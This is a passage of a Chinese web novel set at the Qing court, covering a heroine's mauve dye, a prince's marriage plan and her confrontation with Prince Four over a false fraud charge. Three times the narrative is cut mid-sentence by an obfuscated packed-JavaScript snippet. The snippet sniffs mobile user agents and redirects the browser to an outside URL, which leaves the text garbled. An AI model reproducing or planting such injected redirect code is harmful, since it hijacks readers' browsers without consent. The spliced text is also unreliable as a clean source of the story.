十三阿哥摇摇头,接着说道:“四哥你从哪里弄来的图纸,直接问图纸的主人不就知道了?” 这话说的四阿哥有点儿无语,“图纸是沈姑娘的,她的脾气,你知道的……” 那就更奇怪了,十三阿哥挑眉看着四阿哥,“既然如此,四哥你又是怎么得到的图纸?” “哎!” 四阿哥微微叹了口气,简单说了一遍眼镜店里的事情,没有提自己被骂这茬儿。 末了还露出些许笑意,“此女聪颖,这些图纸必是有所用途,只是不知其目的。” 上次请教过洋人之后,十三阿哥得到一本有关光学的书,看得是云里雾里。 又看了一眼图纸,说道:“无论是她说的那些话,还是这些图纸,都足以说明她师从洋人。洋人那边稀奇古怪的物件颇多,咱们不懂实属正常。” 顿了顿又道:“能跟着洋人学习的女子,应是家境不俗。可她就这么没名没分的住在十四弟府上,实在是……” 十三阿哥想说的是,实在是过于轻浮。 知道十三阿哥什么意思,四阿哥却道:“许是家道中落,无所依靠,故而依附于十四弟以求庇护。” 说完之后他随之转换话题,“八弟此番刚掌管内务府,便与太子起了争执……” 这事十三阿哥也知道,八阿哥认为太子奢侈成性,应予以削减用度。 他叹了口气,语气中还流露出难掩的羡慕,“皇阿玛宠溺太子,乃因父对子之爱,八哥不应去管这些。” 四阿哥拍了拍十三阿哥的肩膀以示安慰,心知他羡慕的不是太子之位,而是那份父子之爱。 然而,又有谁不羡慕? 不过四阿哥也认为太子过于奢靡,可那毕竟是太子! 再说八阿哥掌管内务府,焉知不会借机敛财? 八阿哥“八贤王”的美名是怎么得来的,四阿哥不是不知道。 就像十四阿哥为美人添置玻璃器具需要花钱一样,广纳人心则需更多,而阿哥们每年能从内务府领取的份例又是多少呢? 如他现为贝勒,每年的岁俸银不过两千五百两。 不是十三阿哥在白云寺惊叹十四阿哥的花钱如流水,四阿哥自认也舍不得如此花费。 也难怪沈姝愿为十四阿哥同仇敌忾…… 8. 第 8 章 实验器皿没有弄到,还搭进去一套图纸,沈姝反而有些高兴。 因为“牙尖嘴利”并不是一个褒义词,所以四阿哥这么说她,再加上他说话时阴沉的表情,沈姝觉得这就是讨厌的意思。 厌恶总要累积到一定程度才能达到恨不得杀了对方的地步,所以还需要继续努力。 回去之后,沈姝又画了一套图纸,她还是想要趁手的器皿。 但六子可不想再带她去那些眼镜店,万一再遇到某位阿哥,他可经受不住这种惊吓了! 像这种事,还不如自己直接汇报给十四阿哥解决。 不仅如此,六子还有点儿怪沈姝没有提前说,既然是玻璃器具,内务府就有玻璃厂,何须再到处乱跑去找? 其实沈姝知道这个时代肯定有玻璃,但没想到能有眼镜店。 至于规模化的玻璃厂,她也不知道有没有,只是抱着试一试的态度。 既然如此,那倒是可以期待一下那些实验器皿。 六子的办事效率很高,五日后便把东西拿了回来。 沈姝检查过发现这些器皿的厚度比较大,还有些许气泡,但凑合着也能用。 准备工作完成后,便开始炼焦以获取煤焦油,进而获得合成苯胺紫的原料。 合成苯胺紫对于她来说不算难事,甚至还可以花心思合成其他化工产品。 但沈姝不想费劲儿,她的目标不是成为大清朝的发明家或者化学家,而是回去当富婆! 苯胺紫的合成很顺利,当六子看到自己拿来的无色丝绸在眼前变成亮丽无比的紫色时不禁惊呼出声。 “好紫!” 紫色他见过,但都是淡紫或红紫。 如此这般纯正明亮的紫色,还是头一次见! 六子看向沈姝的眼神中不禁带上了些许敬仰,“您真是、真是太神了!” 沈姝笑了笑,“带上染料,我们回府。” 忙了这些天,终于可以向十四阿哥交差了。 “得嘞!” 六子小心翼翼的捧着这一罐子宝贝,高兴不已,知道物以稀为贵,稀罕物最能讨喜! “这是阿姝你染的布?太好了!” 十四阿哥看着手中的布,脸上尽是激动之色,这个惊喜比预想的要大的多! 见他满意,沈姝说道:“这种染料成色鲜亮不易褪色,最重要的是可以大幅度降低染布成本,若是开个染房的话,应该能赚钱。” “不不!” 十四阿哥却是笑着摇摇头,语重心长的道出自己的打算。 原本不确定,现在看到这块耀眼的紫色,他可以放心了。 “阿姝,这种染料最大的用处是让你进门……” “进门?” 压根没有想到十四阿哥会这么说,沈姝满脸惊诧的打断了十四阿哥。 这个进门,是她知道的那种吗? “是啊!” 还以为沈姝是惊喜的惊,十四阿哥接着说道:“八哥可以让织造府用这些染料染出料子进献给皇阿玛,若是皇阿玛龙心大悦,我会请求让你入旗籍。 一旦入籍之后,我便可纳了你。待诞下子嗣之后,便可入玉碟,日后便可母凭子贵。” 这便是他的全部安排,现在和盘托出,是为博沈姝欢心。 “……” 沈姝直接愣住了,她只是想让十四阿哥凭借苯胺紫这种染料来赚钱,结果他却要借机搞这些! 别说是什么庶福晋,就是嫡福晋她也不稀罕! 作为后世之人,得有多想不开才能忍受跟其他女人共享男人? 共享牙刷都不行,何况男人! 可沈姝看得分明,十四阿哥的表情认真而兴奋。 他不是在开玩笑! 若说不知道他对自己的感情,那叫自欺欺人。沈姝一直都知道,可她不想回应,一直在回避。 她对十四阿哥不是没有好感,但那并非男女之情,也远远没有达到因此而改变目标的程度。 沈姝自认是一个自私的人,此时此刻她心里考虑的是如果直接拒绝,十四阿哥会不会因此而恼羞成怒? 而恼羞成怒的后果,她无法预测,也不愿承受。 沉默片刻之后,沈姝未语先垂首,继续拿报仇一事做借口,“十四爷情深义重,民女惶恐……可祖父之仇……” 十四阿哥已经不想再听这个借口,直接打断了她,“阿姝,袁桥、蔡珍两位御史已递上弹劾的折子,皇阿玛也已问责于噶礼。 我知你报仇之心甚切,然此事并非一朝一夕之事。” 之前沈姝还觉得自己可以依附于十四阿哥去跟四阿哥作对,可她想要的绝不是这种依附之道! 可是怎么办? 沈姝心里暂时没有主意,面上不显,只是点头暂且应下,“多谢十四爷体恤。” 见她点头,十四阿哥很是高兴的伸手将人揽入怀中。 “阿姝,我真是迫不及待……” 温热的气息贴在头顶,惊的沈姝一震想要推开他,“十四爷您……” “莫怕。” 十四阿哥轻轻说道:“我不会强迫于你,会等到礼成之后。” 沈姝不敢动,也不感动,只是心情有些复杂。不知道这个时代的女子遇到这种情况,是否心生感激? 可她终究不是,以身相许并不是她会选择的报恩方式。 “十四爷,天色不早了……” 沈姝想提醒十四阿哥,别抱了,快走吧! 而十四阿哥却轻笑一声,“你这般催促,会让我误以为想要快些安置……” 安置什么? 沈姝刚开始没听明白什么意思,直到十四阿哥的手抚上她的背,才反应过来急忙的拒绝。 “不、不是……” “晓得,逗你的。” 感受到怀中人的僵硬,怕吓到她。 十四阿哥笑着放开了手,再这么抱下去,他真的会忍不住。 “早些休息吧!” 说完之后,便起身离开。 沈姝长舒一口气,还好没有被霸王硬上弓! 次日,十四阿哥带着样品去找八阿哥,献宝似的拿出这块紫色布料。 “八哥,你看这是什么?” “嗯?” 八阿哥接过十四阿哥手中的布料,表情微微惊讶,“好浓重的紫色!” 接着又抬头问道:“十四弟你的意思是?” “八哥也觉得这种颜色极其罕见吧!” 十四阿哥的表情颇为得意,“这是我府中的沈小姐所研制,若是八哥你将此献给皇阿玛,不知是否可行?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782345|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 紫色寓意好,八阿哥知道若是进献,也算是讨喜之举。 但他又不傻,觉得十四阿哥特意提起沈小姐这个人,应是有所求。 于是直接问道:“十四弟你可是需要我向皇阿玛讨个封赏吗?” 十四阿哥知道八阿哥一向善解人意,果然如此。 他笑着说出自己的打算,“不瞒八哥说,我欲以此请求皇阿玛赐沈氏入旗籍。” 原来如此! 八阿哥觉得十四阿哥为了这位沈氏可谓是煞费苦心,不过君子成人之美,他也乐得帮这个忙。 不过是举手之劳。 于是笑着保证道:“还要多谢十四弟你为哥哥我着想,到时候我定于皇阿玛言明你的功劳。” 十四阿哥笑了笑,他喜欢八阿哥这样的人,说话体贴又通透。 此事,应该是妥了。 他离开后,很快让六子把染料送了过来。 八阿哥收到染料后,让人送至制造府。 虽然十四阿哥带来了样品,但他不可能直接就染了呈上去,还需要专门的工匠细细的把关。 直到经过工匠的再三确认,这种染料确实是历经水洗而丝毫不褪色之后,才予以敬献。 然而八阿哥没有想到敬献之后皇上言语间对他是有所称赞,可内务府总管凌普却借机生事。 原本一切都很正常,他敬献之后提及沈姝,然后十四阿哥趁机提出请求。 凌普在十四阿哥请赐沈姝入籍一事之后,直言八阿哥与十四阿哥有欺君之嫌。 其实自八阿哥领事内务府,他就极力针对。因为他是太子的人,而太子与八阿哥之间一向不和。 山无二虎,内务府当然也不能任由他人安插进来。 凌普总管内务府多年,对织造一事有所了解。像这种明亮至极的紫色,确实是世之罕见。 但若说是一孤女能有此能力研制出来,凌普认为绝对不可信。这岂不是在打脸他管理不善,手下的工匠居然还不如一女子? 再说这事实在是太明显了,前脚八阿哥敬献贵紫,后脚十四阿哥请赐一女子入籍。 不用多想就知道这必定是二人合谋,目的就是顺带的为求这位沈氏入旗籍。 原本这也不算是什么大事,紫色毕竟是真的,其他的不过睁一只眼闭一只眼的事情。 皇上高兴之下,也不介意赏赐一个旗籍。 可凌普就是跟八阿哥过不去,就是想要借机生事。因为他笃定,这就是十四阿哥为那位沈氏所做的嫁衣。 他就是这么自信,气势汹汹的去告了状。 而康熙的态度就很微妙,当十四阿哥恳求赐籍的时候,说实话他是有点儿没想到。 没想到这个儿子为一汉女如此上心,还编造了这种理由。 身为皇子,沉溺于儿女情长,说实话这并不是康熙愿意看到的。 想想他的皇阿玛,当初为了孝献皇后连大清的江山都不要了! 每当思及此处,康熙就悲愤交加不已,被舍弃的何止是大清的江山,还有他这个儿子! 这种心思不足以与外人道,但他对十四阿哥这个儿子有些失望,同时对沈姝很是不喜。 所以康熙不打算轻轻放过这件事,想要借此给十四阿哥一个教训,让他不要把心思都花在女人身上。 9. 第 9 章 “皇上不相信,要派人来查我?” 沈姝惊讶的连时常挂在嘴上的“民女”自称都忘了。这可真是人在家中坐,锅从天上来! 到底是怎么回事? 她真是搞不明白怎么会这样。 别说是她,就连十四阿哥听说这事的时候,都没有想到居然会这样! 在八阿哥府上时,他已经气得摔了一盏茶盅,恨不得抽凌普几个大嘴巴子。 这摆明了就是太子一党故生是非,而皇阿玛居然不信他! 生气归生气,但这事可大可小,十四阿哥当然相信沈姝。 因为六子是他的心腹,染料的事情不可能骗他。然而十四阿哥也知道,恐怕八阿哥此时都不太相信他。 所以,必须要自证清白! 他看着沈姝安慰道:“阿姝,我自是信你的。此事不过是卑劣的小人借机生事,待查明真相,自然无虞。” 沈姝不怕查,但十四阿哥说话不讲重点儿,搞得她根本就不知道是被卷进了什么事件中。 不然好端端的怎么会出现这种事,只可能是因为十四阿哥。 但她没有直接问,转而问道:“不知皇上派何人来查?” “是四哥。” 十四阿哥不喜四阿哥,但人选是皇阿玛定的,他只能顺从。 “!” 听了这话,沈姝先是一怔,继尔一喜。 若是她故意不自证,应该算是欺君之罪,是不是会被四阿哥下令处死? 这是完成任务的机会啊! 想到这里沈姝开始试探:“十四爷,若是有人颠倒是非认定民女剽窃当如何?” “不会!” 十四阿哥面露怒容,“谁敢?” 沈姝:“……” 这让她怎么问啊! “民女的意思是,万一、万一……” “不会有你所担心的万一!” 十四阿哥重重的拍了一下桌子,震的桌上的茶具都抖着发出了声音。 “阿姝你放心,有我在断不会让你被人污蔑!” 沈姝无法,只得另换一个问题,“寻常人若是犯了欺君之罪会怎样?” 她就是想确定一下,致不致死? 然而十四阿哥以为她害怕,还拉着她的手继续安慰:“阿姝莫怕,我不会让莫须有的罪名加诸于你。” 沈姝还是不甘心,接着继续问道:“民女自是信十四爷您的维护之意。民女是说倘若,倘若此事发生了会怎样,会不连累您?” 以为沈姝是担心自己,十四阿哥心里熨帖,却是苦笑一声。 “此事说来,算是我连累了你。我同八哥他们俱与太子不合,此番乃因内务府总管凌普借机生事,否则不至于此!” 听十四阿哥道出缘由,原来如此,也就是说是太子借机找十四阿哥的茬。 做人不能恩将仇报,既然如此,沈姝只能选择自证清白。 否则,这样是在害十四阿哥。 至于任务,以后还会有其他机会。 自证清白,于她而言,很简单。 但这不重要,重要的是,沈姝自觉心眼不大,也想借机生事! 而四阿哥那边,当他接到这份儿差事时,居然有种期待感。 只要不傻的,都能看得出来染料的事情,其实就是八阿哥与十四阿哥通过气,算好的事情。 四阿哥当然更不傻,他还知道沈姝是汉女,所以十四阿哥只是想以此为由抬高她的身份。 至于染料究竟出自谁之手,四阿哥不确定。许是十四阿哥让沈姝冒功,也可能是凌普故意污蔑。 毕竟八阿哥一党与太子一党斗的火热,哪一种可能性都有。 不过让四阿哥心生期待的并不是太子与八阿哥之间就此事如何争斗,而是沈姝! 她将会如何应对呢? 染料究竟是否出自她手,还是…… 四阿哥甚至有些迫不及待,迫不及待的想要解惑。 沈姝是十四阿哥的人,而且仅仅只是有嫌疑,所以四阿哥很是客气,并没有直接拿人。 而是亲自去十四阿哥府上问话,去之前还提前通知了十四阿哥。 四阿哥是自己过来的,十四阿哥则是喊上了八阿哥,因为八阿哥也是当事人之一。 于情于理,他都应该在场。 正堂之上,四阿哥单坐一侧,八阿哥与十四阿哥坐在另一侧。 至于沈姝,没有坐下的资格,只能站着。 “民女沈姝见过四爷、八爷。” 见过礼之后,沈姝静立等待问话。 之前是只闻其名不见其人,八阿哥第一眼看到沈姝,就明白为何十四阿哥会对她如此上心。 果真是一难得的美人! 他不由得有些担心是不是十四阿哥真的在诓骗,其实这女子根本就不会制作染料! 若有如此美貌,何须去染布? 而四阿哥则看的是沈姝的神情,她看起来丝毫没有惊慌之色。 就这样伫立于此,似乎无所畏惧。 “沈姑娘,”他开口询问,语气自认温和,“关于染料一事,你可有什么要说的?” 这话听得沈姝就想怼人! 什么叫做她可有什么要说的? 听起来好像是提前已经有了决断,要听她的最后陈述,陈述完了就要当庭宣判一样。 沈姝的语气中带着明显的讥诮,“四爷,您平日里就是这般查案的?” 在场的三位阿哥,谁都没有想到她一上来就是这种态度。 这是直接叫板…… 八阿哥很是惊讶,这女子,简直了! 他不禁侧头看了四阿哥一眼,却见四阿哥未有怒意,只是冷着一张脸。 而十四阿哥则是保持了沉默,因为之前沈姝就是这么怼十三阿哥的。 沈姝的这张利嘴,四阿哥不是第一次领教,他微微挑眉,“哦,那以沈姑娘之见,应如何办案?” “听闻是有人告发说是民女并非染料的制作人,其作为原告,应提供证据以证实。 若是人人都可仅凭一张嘴来肆意告发,反而要让他人来自证清白,岂不是在纵容诬告?” 沈姝不是在无理取闹,她是想怼四阿哥,但也是讲道理的。 她敢肯定,诬告之人绝对没有任何证据。 即便有,也是假的! 说实话,凌普有什么证据,四阿哥并不知道。因为他第一个来问的是沈姝,而不是凌普。 再说,他此番就是来调查事实的。 在他看来,只要沈姝能自证,便可调查清楚。 所以他反问:“若是清白,如何不能自证?” 这就是有罪推定,沈姝冷笑一声,“是吗? 那民女怀疑四爷您与他人此前已经串通一气,此番是欲加之罪何患无辞。 请问四爷您如何自证未与他人串通勾连?” “你……” 四阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782346|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥一听,眉头微皱,是真有点儿急了。 这是污蔑! 但他终归是已过而立之年,急躁的性子已克制隐忍多年,很快压了下来。 他知道,这女人是故意的! 一旁的八阿哥与十四阿哥则是眼前一亮,杠的妙啊! 眼见八阿哥和十四阿哥两个人都看向自己,就差开口附和让自己自证。 四阿哥开始感到头疼! 他也意识到这就是一个陷阱,若问“他人”是何人? 这女人八成直接就会让他自证与每一个利害关系人都没有串通,甚至是他说的任何一句话,他怀疑这女人依旧会故技重施,继续让他自证。 如此循环往复,如何能自证得了? 四阿哥第一次被怼到卡壳,在想应该如何应对。 沈姝不给他反击的机会,继续逼迫,“四爷,不若您去问问告发者。若是他有证据可证实,不用任何人处罚,民女自裁以谢罪!” “阿姝!” 十四阿哥听不得这般晦气的毒誓,猛地一下站起身来走到沈姝身旁,眉头紧皱的说道:“你又何须如此!” 不想让十四阿哥打断她的计划,沈姝轻握一下他的手以示安抚,“无妨。” 被沈姝主动拉了手,十四阿哥没有再多说什么。他的阿姝,不是那种只会哭哭啼啼的寻常女子! 八阿哥见状,眼睛都瞪圆了。 真没有想到这女人竟是如此的大胆,敢发死誓敢当众拉十四弟的手…… 四阿哥的脸终于黑了,搭在椅子上的左手紧握把手。倘若这张椅子的把手是纸糊的,应该早已被捏烂。 他气的不仅是沈姝的刁钻让自己下不了台,还有她怒而发毒誓的行为! 难道她认为他就是故意来加害她的? 在她眼中,他就那种不可信的卑鄙小人? 而沈姝只要见四阿哥脸色难看,心里就舒服多了。 四阿哥如此这般来问罪,她心中本就有气。不仅是对他,同样也对诬告之人,所以接着说完了剩下的话。 “反过来,若是最终证实民女的清白,希望四爷您能秉公处治,追究其诬告之罪!” 不就是借机生事吗? 这技能沈姝也会,还自诩玩的很溜! 今天这出戏,就是想先把事情架在这里。 别人让她为难,她当然要以牙还牙! 说完,她看着四阿哥,等待他的答复。 四阿哥看着沈姝,从她眼中看到了不屈的自信。正如那日在白云寺,她自信到得意洋洋。 而此时,她的脸上尽是不屑一顾的睥睨。 四阿哥知道,若是不应下,自己一定会变成她不屑一顾的对象! 十四阿哥已经看明白沈姝的打算,跟着补了一刀,“四哥,皇阿玛着你来查办此事,是因你铁面无私,希望你不要因为与太子关系亲近而徇私情。” 见四阿哥的脸色明显不太好看,八阿哥没有像十四阿哥那般,而是给了一个台阶。 “四哥,今日之事,沈小姐被污蔑正在气头上,言辞之间有些激烈。 但此事确实需要详查,不若改日再查?” 暗吸一口气,四阿哥定定的看着沈姝,一字一句的承诺,“你放心,我会给你以公正!” 说完他面沉如水,起身离开。 而八阿哥却是看向了沈姝,今天着实是大大出乎他的意料,接下来的事情,他觉得还是要听听她的意见。 10. 第 10 章 四阿哥刚离开,八阿哥便朝沈姝称赞道:“沈小姐真乃女中豪杰!” 这并非恭维之言,今天他是真长见识了,没想到这女人竟有如此口才! 此番唇枪舌剑,不亚于朝堂之上那些机辩的大臣。 没看四阿哥都被噎成了黑脸? 原本八阿哥是想等沈姝自证清白之后,再开口要求四阿哥追究凌普的诬告之举,然后趁此机会看看能不能拿下他。 结果一开始沈姝就把这事给干了,等于是把四阿哥和凌普都架在了火上。 而自己只需要推波助澜即可。 既然沈姝颇有才智,八阿哥觉得这事必须得提前先听听她的看法。 继而问道:“今日四哥虽受挫,然此事终究还是要查明,不知十四弟还有沈小姐以为接下来当如何?” 其实道理十四阿哥也懂,沈姝早晚是要自证清白的。 但怎么个证法,可以自主把控。 不过他也不知道沈姝是怎么想的,比如刚才那般,她就没有提前跟他通气。 当然,之前他也没细问,因为知道是真的,所以根本没有多想。他只想赶紧把这事解决掉,然后再说入籍之事。 所以此时,十四阿哥看向沈姝没有直接说应该如何做,而是分析了一下眼下的局面。 “阿姝,想必四阿哥应该会去询问凌普。无论凌普如何狡辩,四哥必定还会再来求证于你。到时候,你就要演示如何制作染料。” “嗯。” 沈姝点点头,自证这事她会放在最后。 不折腾一番来一个大场面,她怕给四阿哥的印象不够深刻。 没有说自己具体的计划,她只是说道:“兵来将挡水来土掩,接下来如何,还要看四爷将如何?” 沈姝看起来是一点儿都不担心自证一事,但八阿哥心里没底,不得不直接问道:“沈小姐,并非是我不信任你,而是自证一事才是关键,你可有十足的把握?” 因为一旦无法自证,今天所有的话都将反噬回来! “八爷安心,十二分的把握。” 沈姝的语气,淡然而又自信。 听她这么说,八阿哥没有再细问。 不是不想问,而是知道问不出来。 他看了一眼十四阿哥,发现对方居然听之任之,也不知道是提前知道了不想说,还是跟自己一样,也是不知道。 不过八阿哥觉得提前知道了不想说的可能性最大,毕竟换做是他,不可能任由事态发展毫不掌控。 既然如此,八阿哥便点头说道:“那咱们就等四哥再来。” 说罢,八阿哥也告辞了。 老四被老十四的女人怼的下不来台,今天这事必须得回去跟老八、老九他们说说,实在是稀罕! 话说四阿哥离开后,没有直接去内务府找凌普,而是径直回了家。 原因当然是此时此刻,没有心情。 今日他是乘兴而来败兴而归,说实话他真没有想到沈姝有如此辩才! 独坐在书房中,挥退所有下人。 四阿哥开始回想刚才在十四阿哥府中的那一幕,复盘之后他不得不承认,从一开始沈姝就掌握了主动权。 而他一直被牵着鼻子走。 究其原因,并不仅仅在于她异于寻常女子的聪慧狡黠,而是染料一事她有绝对的自信。 否则,绝无可能如此! 不用去问凌普,四阿哥便已经相信了沈姝,可这件事并不在于他信与不信,而是皇上信或不信。 然而想要堵住他人之口,自证必不可少。 四阿哥相信聪颖至此的沈姝,不可能不明白这个道理。 现在的问题是,她到底想要怎么做? 一想到这里,四阿哥就感到头疼。 他是生气,气的是她如此误会自己…… 揉了揉眉心,四阿哥轻叹一声,脸上流露出些许无奈之色。 他如何不明白,沈姝如此这般的目的? 现在戏台子她都已经逼着自己搭好,可这出戏他应该怎么配合才能让她满意? 在书房枯坐到夜半,揣测琢磨了大半宿,四阿哥也拿不准沈姝为何如此笃定? 他甚至有些担心到时候会不会出什么差池,这件事并没有表面上那么简单,而是涉及到太子与八阿哥之间的纷争。 四阿哥不知道沈姝到底知不知道她自己卷进来的原因? 可多想无益,他决定先按部就班的继续查,接下来要看她的打算。 次日一早,四阿哥便去内务府问询凌普。 见四阿哥来问,凌普的态度也没有好到哪里去,丝毫不提自己有什么证据,只是反问:“四爷,您真的相信那女子会制作染料?” 凌普混迹官场多年,一上来也是如同昨天的沈姝那般开始挖坑。 他这坑挖的直接,四阿哥知道,无论回答相信与否都不行。 相信得他自己找证据,不相信就要直接给沈姝定罪。 想到昨天沈姝的毒誓,四阿哥面带微寒,“凌大人,倘若八阿哥与十四阿哥欺君,自有皇上处置。 可你,若是诬告,也要想清楚后果!” “四爷您负责查办此事,奴才无论说什么您怕是也不会全信。 可沈氏之言,亦需查证!” 凌普的话很硬气,因为这种程度的恫吓完全没有作用。 他是老油条,仗着太子之势当然敢直接顶撞四阿哥。 在他看来,别说是沈姝无法自证。 即便是能自证,他也有把握翻盘! 无论沈姝如何制作染料,只要她能制作出来,他都有后招。 那就是倒打一耙,咬死了她的配方是剽窃所得! 凌普觉得现在自己什么都不用做,就逼着四阿哥去让沈姝自证。 自证之后,他很快就能咬死剽窃一事。 毕竟这太容易了,找些人来证明即可,到时候八阿哥和十四阿哥还能说的清? 凌普看起来也是稳操胜券,四阿哥微微皱眉,这代表他有后手。 想到昨日沈姝的毒誓,四阿哥觉得她真是太鲁莽了,不过好在昨日只有他们四人在场…… 在凌普这里得不到什么线索,四阿哥肃声道:“真相如何,我自会落实,到时候希望凌大人能配合。” “应当的!” 凌普倒想看看沈姝要如何自证? 从内务府出来之后,四阿哥便再次去找沈姝,将凌普的情况说于她听。 “四爷的意思是说您未能从这位凌大人处得到任何证据,故而转过来继续让民女自证?” 这个结果,符合沈姝的预期,诬告者要是有证据倒简单多了! 没有在意沈姝语气中淡淡的嘲讽,四阿哥其实是想提前问问她情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782347|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况,以便能帮上忙。 因为若是被认定为弄虚作假,八阿哥与十四阿哥两个人顶多会挨一顿责罚。 可她,就危险了,那是真有可能会送命! 四阿哥尽量让自己的语气与表情都柔和些,然后说道:“沈姑娘,凌大人或许没有任何证据,但无论如何染料出自你手,所以请你能当众展示一番如何制作。” 没有直接应下,沈姝反而问了一个不相干的问题。 “四爷,此事的查办,请问您是先过来找的民女吗?” 不知道为什么忽然问这个,四阿哥点头承认,“是。” 沈姝微微一笑,“那么让民女来猜猜这其中的缘由。” 她这副作态,不禁让四阿哥升起不好的预感,这是又要怼自己? 果不其然,就听沈姝慢条斯理的说道:“凌大人乃是官,有权有势。民女只是一介草民,能站在这里安然无恙的被四爷您这般的贵人查办,还是因为十四爷的关系。 常言道,柿子捡软的捏。 四爷您想先从民女这里找到突破口,无可厚非。只是,若听了您的演示之后,那位凌大人仗势耍赖污蔑民女这方子来路不正,又当如何?” 这是变着法子在说自己仗势欺人吗? 四阿哥不否认,至少沈姝有一点儿说的不错,那就是他确实认为应当从她这边着手。 她的担忧也确实有道理,这次他来,想说的就是这种潜在的风险。 至于说“软柿子”? 算了吧,她就是一刺猬! 既然沈姝都已经考虑到了,四阿哥认为她一定有防范之策。 于是直接说道:“沈姑娘乃女中诸葛,此事想必早有防备,我愿洗耳恭听。” 咦? 居然如此配合! 沈姝不禁细看了四阿哥一眼,见他看向自己,目光平和,表情不似作伪。 有点儿奇怪啊…… 这么快就消了气? 沈姝心里开始犯嘀咕,明明上次还黑了一张脸! 可她确实需要一番安排,原本打算是四阿哥不同意,通过十四阿哥也可以做到。 但既然他同意了,那就、那就直说了。 “多谢。” 淡淡的道过谢,沈姝终于不再继续夹枪带棒,而是开始提要求。 “民女的染料不同于任何一种,源自西洋技法。不过凌大人似乎亦是言之凿凿,所以演示一事,希望四爷您能多找一些洋人做见证。” 苯胺紫的合成方式对于目前所有天然染料的制取方式来说,都属于降维打击。 所以沈姝根本就不惧怕所谓的来路不正,因为在这个时代,她就是唯一的来路! 他人,即便是围着看,一时之间都难以复制合成实验。 沈姝称通洋人之技,四阿哥知道。 她的要求,他会配合。 凌普要倒霉,那么就顺水推舟,让他栽个更大的跟头。 四阿哥甚至觉得,沈姝之所以如此挤兑他,为的就是引出这些。 既然如此,那便加倍的如她所愿,省得她再误解自己! “可以。沈姑娘你准备妥当之后可派人告知,届时我会安排周全。” “多谢。” 沈姝再次道谢。 四阿哥微微点头,心情舒畅了许多,能从她口中听到只言片语的感谢很不容易! 11. 第 11 章 合成苯胺紫只需要原料,以及沈姝本人。 设备都是现成的,原料还有用剩下的,这些都不需要准备。 唯一需要额外准备的是在场人员。 八阿哥与太子素不和睦,而十四阿哥依附于八阿哥。他们二人的目标一致,那就是通过此事钉死凌普的诬告之罪。 凌普一旦被拿下,八阿哥就极有机会掌控内务府。 沈姝请求四阿哥邀请洋人做见证,八阿哥觉得这个提议很好。 既然如此,那便再让更多人参与进来。 见证人越多,到时候会有更多人知道凌普的诬告之举。 到时候皇上就算是想要不予追究,也难堵悠悠众口。 所以八阿哥直接让九阿哥和十阿哥也一起旁观,四阿哥没有反对。 因为他也喊了十三阿哥一起,省得到时候皇上疑心他的调查结果。 众目睽睽之下,谁也不能说他徇私情。 还有一个原因是四阿哥猜测,沈姝应该也是希望见证人更多。 为此她刻意提出要求找洋人,还要多找。 其实四阿哥猜对了,沈姝确实是这么想的,见证人多多益善。 是日,众人齐聚于十四阿哥京郊的庄子上。参与之人不仅有凌普这个诬告者,还有五位阿哥,四位洋人。 洋人都是四阿哥从理藩院那边特意找的,挑的都是皇上眼中颇有名望之辈。 所有人都到齐之后,四阿哥先是说道:“今日诸位在此见证沈氏之女沈姝制作紫色染料,因其自称技法源自西洋技艺,故而亦邀请了番邦之士以做见证。” 接着他转而问向凌普,“凌大人对见证人可有异议?” “四爷安排的很妥当。” 现场之人,除了他自己,五位阿哥都是皇子,论身份哪个都比他尊贵。 至于洋人,皇上颇为欣赏。 无论哪位,凌普都说不出来什么,只能捏着鼻子点头。 只是没有料到居然扯出来什么洋人之技,之前也不知道四阿哥居然还找了洋人。 对此,凌普微微皱眉。 他有些担心这几个洋人会不会故意向着八阿哥他们,可无凭无据的事情,他不能直接这么说。 这毕竟是番邦友人。 继儿又一想,洋人又怎样,难道还能折腾出来什么新花样? 见凌普没有意见,四阿哥朝沈姝说道:“沈姑娘,开始吧。” 沈姝走上前说道:“民女的技艺需要较长时间,诸位需要在此留观两日。” 听她这么说,凌普立刻开始发难,“沈氏,你只需将所需原料与技法解说并演示一番即可,何须如此磨蹭,莫非是想要伺机拖延?” 沈姝瞥了一眼这脑满肠肥的挑事者,拿她做筏子攻讦十四阿哥,可没把她的死活放在眼里。 一旦无法自证,即便是有十四阿哥护着,她怕是也落不到什么好! 现在又故意找茬,摆明了是不想她好过,所以沈姝一点儿都不客气。 “想必以这位大人的见识,解说无异于白费口舌,倒不如眼见为实。” 这是在骂他蠢啊! 身为内务府总管,除了仅有的那几位,凌普还没有被人这么指着鼻子骂过,顿时勃然大怒。 “大胆刁民!来人呐……” 然而刚喊了一半就被十四阿哥直接踹了一脚,踉跄之下差点儿摔倒。 “你这狗奴才,还敢喊人动手不成?” 